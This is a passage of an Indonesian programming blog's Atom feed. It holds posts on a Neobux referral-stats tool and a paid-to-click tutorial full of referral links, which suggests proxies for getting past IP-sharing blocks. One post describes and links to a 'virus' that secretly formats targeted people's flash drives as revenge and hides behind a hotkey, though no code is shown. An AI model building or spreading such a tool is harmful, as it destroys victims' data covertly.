bergabung dengan program PTC Neobux, yaitu program klik dapat duit. Fungsi dari aplikasi adalah untuk mengetahui status Referral kita baik itu Rented Referrals atau Direct Referrals.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Code yang dipelajari dari aplikasi ini adalah :&lt;br /&gt;1. Membaca file  txt dan ditampilkan dalam listview&lt;br /&gt;2. Sort ListView&lt;br /&gt;3. Memberi warna listview sesuai dengan angka yang  berada dalam subitem/kotaknya.&lt;br /&gt;4.  Comparing 2 txt file, dalam contoh aplikasi ini adalah mencari klik pada file txt 1 tiap referral yang ada pada file txt ke-2 dan kemudian menggabungkannya dalam file lain.&lt;br /&gt;5. Membuat grafik dari click tiap referral dalam satu bulan dan grafik Average AVG dalam satu bulan juga.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cara Penggunaan:&lt;/b&gt;&lt;br /&gt;Setelah nanti anda download dan ekstrak maka dalam folder tersebut terdapat folder-folder yang merupakan file referral saya, jadi itu merupakan sampel saja. Dan jika anda sudah faham penggunaanya tinggal anda hapus semua hasil download beserta folder dan file didalamnya kecuali tentu saja sisakan NeoRefStat.exe. Kemudian silahkan jalankan aplikasi dan mulailah melekukan ekspor file txt dari neobux dengan cara klik "Get Referrals List" maka akanmuncul popupmenu dan silahkan klik Link untuk download Rented Referral atau Direct referrals. Setelah anda mendapatkan file tersebut maka simpan pada folder dalam aplikasi ini, yaitu folder DataExportFromNeobux. Lebih jelasnya baca Help-nya ya..hehehe..&lt;br /&gt;Perhatikan screenshot dibawah ini.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img683.imageshack.us/img683/3974/chartviewclick.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://img683.imageshack.us/img683/3974/chartviewclick.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img714.imageshack.us/img714/9807/rrchart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://img714.imageshack.us/img714/9807/rrchart.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Klik untuk&amp;nbsp;&lt;a href="http://www.ziddu.com/download/10355279/NeoRefStat.rar.html"&gt;Download Aplikasi Versi Instalasi NeoRefStat&lt;/a&gt;&lt;br /&gt;Klik untuk&amp;nbsp;&lt;a href="http://www.ziddu.com/download/10356296/ProjectNeoRefStat.rar.html"&gt;Download Project NeoRefStat&lt;/a&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-7534635071701064523?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/7534635071701064523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/06/neorefstatexe.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7534635071701064523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7534635071701064523'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/06/neorefstatexe.html' title='NeoRefStat.Exe - Neobux Referrals Stats'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-347465884196978404</id><published>2010-04-18T21:31:00.040+07:00</published><updated>2010-09-16T19:50:20.380+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bisnis Online'/><title type='text'>Tutorial PTC (Paid to Click)</title><content type='html'>&lt;b&gt;Apakah PTC itu?&lt;/b&gt;&lt;br /&gt;PTC adalah sebuah program dimana pemasang iklan (Advertiser) akan membayar Anda setelah mengklik, melihat (View) iklan mereka dalam jangka waktu tertentu (sekitar 10-40 detik). Iklan yang diklik tersebut bernilai macam-macam, rata-rata $0,01 untuk 1 kali klik. Ada juga yang $0,005 $0,0075 juga $0,02.&lt;br /&gt;Sebenarnya dari PTC yang benar-benar membayar bisa dimanfaatkan sebagai salah satu sumber untuk meraup dolar. Karena mudah dan bisa dilakukan oleh semua orang. Iklan-iklan tersebut diklik oleh Anda sendiri (bukan menunggu orang lain), Anda juga tidak perlu membuat blog/situs dan sebagainya untuk memasang kode iklan.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;b&gt;Apakah Situs PTC itu?&lt;/b&gt;&lt;br /&gt;Program PTC tidak sama dengan Autosurf, MLM, sistem piramida/Matrix, atau model kaya cepat dalam waktu singkat.&lt;br /&gt;Situs PTC merupakan salah satu inovasi dalam model pemasangan iklan dan akan ada konsumen yang pasti melihat iklan mereka (dari sekian banyak konsumen yang mengklik/melihat iklan tersebut tentunya akan ada yang beli), itulah tujuan dari situs PTC tersebut.&lt;br /&gt;Situs PTC sendiri memperoleh dana (uang) dari para pemasang iklan atau melalui sponsorship dari membernya, misalnya ada yang mau Upgrade ke keanggotaan yang lebih tinggi, misalnya Premium supaya bisa mengklik iklan lebih banyak, ada pula yang menjual referal, bahkan ada yang menjual marchandise dan sebagainya.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Apakah ikut PTC gratis atau bayar?&lt;/b&gt;&lt;br /&gt;Semua situs PTC GRATIS.&lt;br /&gt;Jadi, karena gratis Anda tidak punya resiko.&lt;br /&gt;Jangan mau membayar dimuka kalau ada situs PTC yang seperti itu karena belum apa-apa Anda sudah diminta dibayar, padahal tujuan Anda kan mencari duit (dolar) bukan keluar duit.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Bagaimana saya mendapatkan dolar?&lt;/b&gt;&lt;br /&gt;Seperti yang sudah saya jelaskan di awal, Anda mendaftar terlebih dahulu melalui link yang diberikan kepada anda (referal), karena umumnya pada saat mendaftar anda akan ditanyakan darimana anda mendapatkan referensi situs PTC tersebut. Setelah itu login dan menuju pada halaman yang menyediakan iklan untuk diklik. Kemudian menunggu iklan tersebut tampil sepenuhnya dan tunggu 10-50 detik (tergantung situs penyelenggara). Semakin banyak iklan yang diklik maka semakin besar perolehan Anda.&lt;br /&gt;Anda akan memperoleh tambahan penghasilan lagi dengan mengajak orang lain untuk ikut menjadi downline (referal) di bawah Anda. Semakin banyak member Anda semakin besar pula pendapatan Anda. Biasanya perolehan Anda dari referal adalah 50%, ada juga yang 25% atau 70%, sekali lagi tergantung situsnya.&lt;br /&gt;&lt;br /&gt;Di bawah ini contoh pendapatan Anda:&lt;br /&gt;* Anda mengklik 10 iklan setiap hari, 1 iklan bernilai $0,01 maka = $0.10&lt;br /&gt;* 20 referral juga mengklik 10 iklan tiap hari = $2.00&lt;br /&gt;* Pendapatan Anda tiap hari = $2.10 (Jumlah klik Anda + Jumlah klik referal --&amp;gt; $2.00 + $0.10)&lt;br /&gt;* Pendapatan Anda tiap minggu menjadi = $14.70&lt;br /&gt;* Pendapatan Anda tiap bulan menjadi = $63.00&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Apa ada aturan mengklik iklan?&lt;/b&gt;&lt;br /&gt;Setiap iklan yang diklik harus satu-persatu, tidak boleh diklik sekaligus semuanya.&lt;br /&gt;Ingat, Anda tidak boleh curang dengan mengklik iklan yang sama lebih dari 1x, sebab setiap iklan hanya boleh diklik 1x saja dalam 1 hari. Besoknya (setelah 24 jam) baru Anda boleh mengklik lagi iklannya.&lt;br /&gt;Biasanya setelah hitungan mundur berakhir ada yang menunjukkan bahwa credit/pendapatan Anda telah ditambahkan. Ada juga yang meminta Anda untuk mengklik angka tertentu, memasukkan angka tertentu ataupun mengklik link menuju alamat iklan tersebut.&lt;br /&gt;Lebih jelasnya silahkan lihat panduan yang dilengkapi gambar berikut ini &lt;a href="http://djokomartono.coolpage.biz/NeoBux%20Forum%20Guide%20For%20Newbie.htm" target="_blank"&gt;Click disini&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Bagaimana saya mengambil pendapatan saya?&lt;/b&gt;&lt;br /&gt;Setelah Anda mencapai minimum payout, Anda bisa melakukan penarikan. Biasanya melalui PayPal atau AlertPay. Jadi, Anda harus mendaftar salah satu atau keduanya terlebih dahulu. Kebanyakan situs PTC membayar melalui AlertPay ketimbang PayPal.&lt;br /&gt;Setelah Anda merasa dana Anda cukup banyak di AlertPay/PayPal baru Anda menariknya ke rekening di Indonesia bisa melalui cek atau transfer. Klik pada menu WITHDRAW dalam AlertPay/PayPal.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Bagaimana jika saya tidak punya AlertPay/PayPal?&lt;/b&gt;&lt;br /&gt;Ya, Anda daftar dulu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;a href="https://www.alertpay.com/?fa7aAZiUC%2bL82IGhBx%2fBoQ%3d%3d" target="_blank"&gt;Klik banner di bawah ini untuk mendaftar AlertPay&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.alertpay.com/?fa7aAZiUC%2bL82IGhBx%2fBoQ%3d%3d" target="_blank"&gt;&lt;img border="0" src="http://www.alertpay.com/banners/ban_04.gif" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.paypal.com/id/mrb/pal=8QUHMHGDXCWME" target="_blank"&gt;Klik banner di bawah ini untuk mendaftar PayPal&lt;/a&gt;&lt;br /&gt;&lt;a href="https://www.paypal.com/id/mrb/pal=8QUHMHGDXCWME" target="_blank"&gt;&lt;img alt="Daftar di PayPal, lalu mulai terima pembayaran menggunakan kartu kredit secara instan." border="0" src="http://images.paypal.com/id_ID/i/bnr/paypal_mrb_banner.gif" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;b&gt;Kenapa harus pakai AlertPay/PayPal?&lt;/b&gt;&lt;br /&gt;Karena Anda tidak bisa langsung menarik pendapatan Anda dari situs PTC. Jadi, duit Anda ditransfer dulu ke rekening bank Online (AlertPay dan PayPal). Selain itu, kalau Anda mengikuti beberapa program PTC sekaligus maka AlertPay akan mempermudah Anda. Semua dana akan masuk dalam satu rekening dan kemudian baru Anda melakukan penarikan.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Situs PTC apa saja yang baik?&lt;/b&gt;&lt;br /&gt;Soal baik atau tidak situs itu tergantung dari situs itu sendiri.&lt;br /&gt;Banyak sekali Situs PTC tetapi sedikit sekali yang benar-benar membayar membernya, karena banyak situs tersebut yang melakukan kecurangan dengan berbagai macam hal misalnya tidak melakukan pembayaran kepada membernya karena dianggap menyalahi aturan (ToS), menghentikan situs mereka dengan tiba-tiba.&lt;br /&gt;Situs PTC yang paling saya rekomendasikan adalah &lt;a href="http://www.neobux.com/?rh=446A6F6B6F6D6172746F6E6F" target="_blank"&gt;Neobux&lt;/a&gt; karena membayar secara instant. Dan selama ini Neobux memang dipercaya dan bebas masalah. Minimal penarikan $2, tiap hari ada 4 iklan minimal. Jadi, untuk penarikan tidak perlu nunggu lama. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Langkah-langkah mendaftar Di Neobux&lt;/b&gt;&lt;br /&gt;1. Klik link untuk menuju ke halaman Neobux, &lt;a href="http://www.neobux.com/?rh=446A6F6B6F6D6172746F6E6F"&gt;Click here&lt;/a&gt; &lt;br /&gt;2. Klik Register, pojok kanan atas untuk mendaftar &lt;br /&gt;3. Tulis Username dan password yang kamu inginkan  &lt;br /&gt;4. Untuk Paypal/Alertpay maka isi saja dengan email yang anda miliki  (jika belum memiliki Paypal atau Alertpay). Anda bisa mendaftar  Alertpay/Paypal pada hari-hari berikutnya dengan menggunakan email ini. &lt;br /&gt;5. Tulis code captcha pada kotak yang disediakan &lt;br /&gt;6. Klik Submit &lt;br /&gt;7. Buka window/tab baru untuk membuka email anda karena Neobux akan  mengirimkan kode verifikasi di email anda. Jika tidak ada di kotak masuk  maka cek di folder spam. &lt;br /&gt;8. Masukan kode tersebut &lt;br /&gt;9. Klik verification dan congratulations menandakan anda sukses mendaftar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Yang perlu diingat setelah anda mendaftar/signup adalah :&lt;/b&gt;&lt;br /&gt;Setelah anda mendaftar di Neobux Anda diberi waktu 3 hari setelah masa  pendaftaran untuk melakukan aktifitas klik iklan, jika anda tidak  melakukan klik iklan maka Neobux akan menghapus anda dari anggotanya.  &lt;br /&gt;1. Klik Login &lt;br /&gt;2. Masukkan Username dan password yang digunakan saat mendaftar &lt;br /&gt;3. Untuk Secondary Password Kosongkan saja &lt;br /&gt;4. Tulis code captcha pada kotak yang disediakan &lt;br /&gt;5. Klik Submit &lt;br /&gt;6. Klik View Advertisement &lt;br /&gt;7. Klik iklan yang disediakan, untuk member baru/Satus Standar maka  disediakan 4 iklan/hari, misal klik iklan "EToro" maka muncul "Bulatan  merah" &lt;br /&gt;8. Klik "Bulatan Merah" ini dan tunggu proses Iklan Muncul secara  sempurna, dan anda akan mendapatkan bayaran Dollar dari iklan tersebut.  &lt;br /&gt;9. Ulangi hingga 4 iklan yang disediakan habis, ditandai dengan  berubahnya warna bintang yang semula berwarna kuning berubah menjadi  berwarna coklat.  &lt;br /&gt;10. Ulangi esok harinya, usahakan pada jam yang sama dengan saat pertama kali melakukan klik iklan. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Info dan Tips Jika Iklan Tidak Muncul atau Tidak Dapat Diklik&lt;/b&gt; &lt;br /&gt;Jika tertarik pada Neobux silahkan Download Aplikasi Earning Calculator yang saya buat ini &lt;a href="http://www.4shared.com/file/P5eh-zYB/Package.html"&gt;Click Disini&lt;/a&gt;. &lt;br /&gt;Aplikasi ini bermanfaat untuk mengetahui penghasilan anda di Neobux  dan juga berisi link-link ke forum baik forum indonesia, USA, Palestina  dll yang bermanfaat bagi anggota Neobux dan cara menghitung penghasilan  kita di Neobux. &lt;br /&gt;&lt;br /&gt;Atau silahkan Download Aplikasi NeoRefStat yang saya buat ini &lt;a href="http://www.ziddu.com/download/10355279/NeoRefStat.rar.html"&gt;Click Disini&lt;/a&gt;. &lt;br /&gt;Aplikasi ini bermanfaat untuk mengetahui Status Rented Referral  ataupun Direct Referrals disertai grafik klik RR selama 30 hari beserta  Average AVGnya.. &lt;br /&gt;&lt;br /&gt;Jika anda telah mendaftar maka anda baru boleh menulis di forum dan  menggunakan Chating setelah melakukan klik iklan sebanyak 30 iklan jadi  sekitar 8 hari anda belum dapat menulis di forum dan menggunakan  fasilitas chating,  tapi kalau membaca postingan di forum ya tentu boleh.  Tempat yang hebat memang banyak aturan tetapi itu semua untuk kenyamanan  anggotanya.  &lt;br /&gt;&lt;br /&gt;Jika pada saat anda klik iklan, muncul pernyataan "Another user  using your IP Address.." ataupun anda tidak bisa mendaftar PTC gara-gara  IP Address maka gunakan langkah dibawah ini: &lt;br /&gt;1. Klik tautan ini &lt;a href="http://proxy-list.org/en/index.php"&gt;proxy-list.org&lt;/a&gt; &lt;br /&gt;2. Isikan captcha code yang diminta &lt;br /&gt;3. Muncul banyak IP address &lt;br /&gt;4. Pilih salah satu yang "Latency" nya jangan yang 0.0000 &lt;br /&gt;5. Misalkan pilih 118.116.178.243:9415, artinya angka 9415 yang  paling belakang dimasukan kedalam Port sedangkan lainnya adalah IP  Address dan dimasukkan dalam HTTP Proxy. &lt;br /&gt;Untuk memasukkanya jika menggunakan Mozilla : &lt;br /&gt;1. Klik Tools &lt;br /&gt;2. Klik Options &lt;br /&gt;3. Klik Tab Network &lt;br /&gt;4. Klik Tab Settings &lt;br /&gt;5. Pilih "Manual Proxy Configurations" &lt;br /&gt;6. Masukkan 118.116.178.243 pada "HTTP Proxy" dan masukkan 9415 pada "Port" &lt;br /&gt;7. Cobalah untuk klik iklan yang gagal tadi. &lt;br /&gt;&lt;br /&gt;Tips lainnya gunakan CCleaner untuk membersihkan cookies ini linknya &lt;a href="http://www.piriform.com/ccleaner"&gt;Download CCleaner&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Jika ada kesulitan silahkan add fb saya atau kirim email saya, mungkin saya dapat membantu &lt;br /&gt;&lt;br /&gt;Terimakasih telah membaca Tutorial ini &lt;br /&gt;Semoga bermanfaat &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SIAP MENDAPATKAN TAMBAHAN UANG!!!! "&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;******************************************************************************&lt;br /&gt;&lt;a href="http://www.neobux.com/?rh=446A6F6B6F6D6172746F6E6F" target="_blank"&gt;Klik Banner berikut untuk mendaftar NeoBux [RECOMENDED]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.neobux.com/?rh=446A6F6B6F6D6172746F6E6F" target="_blank"&gt;&lt;img border="0" height="60" src="http://images.neobux.com/imagens/userbar/?uh=446A6F6B6F6D6172746F6E6F&amp;amp;u3=3713740" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.onbux.com/?rh=d48787c499b979d372566d53a30a881d" target="_blank"&gt;Klik Banner berikut untuk mendaftar OnBUX&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.onbux.com/?rh=d48787c499b979d372566d53a30a881d" target="_blank"&gt;&lt;img border="0" src="http://www.onBux.com/banner.gif" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.fox-bux.com/?ref=Djokomartono" target="_blank"&gt;Klik Banner berikut untuk mendaftar FoxBux&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.fox-bux.com/?ref=Djokomartono" rel="nofollow" target="_blank"&gt;&lt;img align="center" src="http://www.fox-bux.com/banner.php?id=Djokomartono" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.earneasycash.info/index.php?ref=Djokomartono" target="_blank"&gt;Klik Banner berikut untuk mendaftar Earn Easy Cash&lt;/a&gt;&lt;a href="http://www.earneasycash.info/index.php?ref=Djokomartono" target="_blank"&gt;&lt;img align="center" border="0" src="http://www.earneasycash.info/banners/banner2.gif" width="360" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-347465884196978404?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/347465884196978404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2010/04/tutorial-ptc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/347465884196978404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/347465884196978404'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2010/04/tutorial-ptc.html' title='Tutorial PTC (Paid to Click)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-5592990037152956209</id><published>2009-03-06T14:53:00.024+07:00</published><updated>2010-07-16T23:31:49.257+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><title type='text'>VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK)</title><content type='html'>Saya beri nama aplikasi ini dengan nama VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK), karena aplikasi ini dibuat dengan tujuan untuk melakukan format pada flashdisk orang yang telah anda tentukan, mungkin orang tersebut membuat sakit hati sehingga perlu memberikan pelajaran dengan melakukan format pada flashdisknya.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Jadi tidak semua flashdisk yang masuk akan diformat, flashdisk yang memiliki nama/VolumeName yang sama dengan daftar target sajalah yang akan diformat.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_48czvH0DaKc/SbKxwCwEB5I/AAAAAAAAAQ0/RcpJA0CAqXs/s1600-h/Target+Tertangkap.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s1600-h/menanti+target.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s320/menanti+target.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s1600-h/Telah+Diformat.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_48czvH0DaKc/SbK6gUlUQeI/AAAAAAAAAQ8/0o-8E2_nHpc/s320/Telah+Diformat.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;ANALOGI PEMROGRAMAN VFP-FLASHDISK&lt;br /&gt;&lt;br /&gt;1. Virus melakukan scan nama/volume flashdisk terhadap flashdisk yang terhubung dengan komputer&lt;br /&gt;&lt;br /&gt;2. Jika ditemukan nama/volume flashdisk yang terhubung itu sama dengan daftar nama target/korban maka flashdisk tersebut akan diformat.&lt;br /&gt;&lt;br /&gt;3. Jika flashdisk yang terhubung tersebut nama/volumenya tidak ditemukan pada daftar target maka nama flashdisk tersebut akan disimpan dalam suatu file. dari file inilah anda akan mendapatkan nama/volume flashdisk siapa sajakah yang pernah konek dengan komputer. Dan jika anda menginginkan anda dapat menambahkannya pada daftar target.&lt;br /&gt;&lt;br /&gt;4. Anda dapat menambah atau menghapus daftar target dengan sekali klik pada tombol.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UNTUK PEMROGRAMANNYA DIBUTUHKAN FUNGSI:&lt;br /&gt;&lt;br /&gt;1. Pemanggilan Windows Format secara Sembunyi agar user (Si empunya flashdisk) tidak melihat kalau flashdisknya diformat.&lt;br /&gt;&lt;br /&gt;2. Pemanggilan dan menyembunyikan virus hanya dengan sekali tekan. Anda dapat menyembunyikan virus dengan menekan tombol Hide dan anda dapat menampilkan virus kembali dengan hanya menekan Ctrl+F10. bagaimana menurut anda dipermudah bukan ? he..he..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CARA MEMULAI/MENJALANKAN APLIKASI&lt;br /&gt;&lt;br /&gt;1. Jangan sampai ada flashdisk yang terhubung dengan PC&lt;br /&gt;&lt;br /&gt;2. Flashdisk anda Jangan diberi nama/Bervolume &lt;br /&gt;&lt;br /&gt;a. Removable Disk&lt;br /&gt;&lt;br /&gt;b. Amat&lt;br /&gt;&lt;br /&gt;c. Agus&lt;br /&gt;&lt;br /&gt;Karena akan langsung diformat&lt;br /&gt;&lt;br /&gt;3. Klik dua kali untuk menjalankan aplikasi kemudian Tekan Ctrl+F10 agar aplikasi terlihat&lt;br /&gt;&lt;br /&gt;4. Klik Tombol "KLIK UNTUK MENJALANKAN VIRUS YANG TELAH TERCOPY DI PC KEMUDIAN TEKAN Ctrl+F10 AGAR VIRUS TERLIHAT"&lt;br /&gt;&lt;br /&gt;5. Tekan Ctrl+F10 untuk menampilkan aplikasi yang telah berjalan pada PC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maaf, untuk aplikasi ini tidak saya sertakan source codenya karena :&lt;br /&gt;&lt;br /&gt;1. Siapa tahu ada yang mau donasi karena tertarik source code "Format Drive" sehingga ada biaya pengiriman. He..he..he..&lt;br /&gt;&lt;br /&gt;2. Fitur Format saya anggap fitur yang kejam dan tidak ada seninya bagi suatu virus jadi ngga usah disertakan source codenya, tetapi bagi aplikasi lainnya (bukan virus) mungkin fitur yang sangat bermanfaat. Apalagi ada source code untuk otomatisasi, contohnya jika anda pada saat akan melakukan format secara biasa maka akan tampil windows formating dan anda disuruh menekan/melakukan klik dengan maouse pada tombol yang muncul, maka dengan source code yang telah disiapkan kita tidak perlu menekan keyboard/mause.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10356364/VirusFormatPersonalFlashdisk.rar.html"&gt;Klik Untuk Download Aplikasi VFP-FlashDisk&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SEMUA INI UNTUK MENAMBAH WAWASAN SAJA DAN KEHATI-HATIAN ANDA AKAN BAHAYA YANG SELALU MENGANCAM DATA PENTING ANDA&lt;br /&gt;&lt;br /&gt;TARGET DISINI CUMA FLASHDISK BAGAIMANA JIKA TARGETNYA DITAMBAH DENGAN DRIVE DATA-DATA SELAIN DRIVE SYSTEM????MENANGISLAH KITA&lt;br /&gt;&lt;br /&gt;TERIMAKASIH&lt;br /&gt;&lt;br /&gt;SALAM&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan ^_^&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-5592990037152956209?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/5592990037152956209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2009/03/virus-format-personal-flashdisk-vfp.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/5592990037152956209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/5592990037152956209'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2009/03/virus-format-personal-flashdisk-vfp.html' title='VIRUS FORMAT PERSONAL FLASHDISK (VFP-FLASHDISK)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_48czvH0DaKc/SbK8kUWOm0I/AAAAAAAAARE/8NLDbSf5Hpc/s72-c/menanti+target.bmp' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1716566365788540731</id><published>2008-11-06T02:21:00.011+07:00</published><updated>2010-12-26T00:24:45.873+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Ekspor Txt ke Excel</title><content type='html'>Hallo-hallo, sudah lama ngga ngisi blog ini, semoga teman semua tidak pada bosen dan semoga tambah pinter pemrograman VBnya. Untuk posting kali ini saya mencoba memenuhi permintaan salah satu pengunjung mengenai peng-Eksporan data dari format .txt diekspor ke format excel.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s1600-h/Data+Teks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" rg="true" src="http://2.bp.blogspot.com/_48czvH0DaKc/SRHz1HuKkeI/AAAAAAAAAP0/xgr_Cr9hS_E/s320/Data+Teks.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 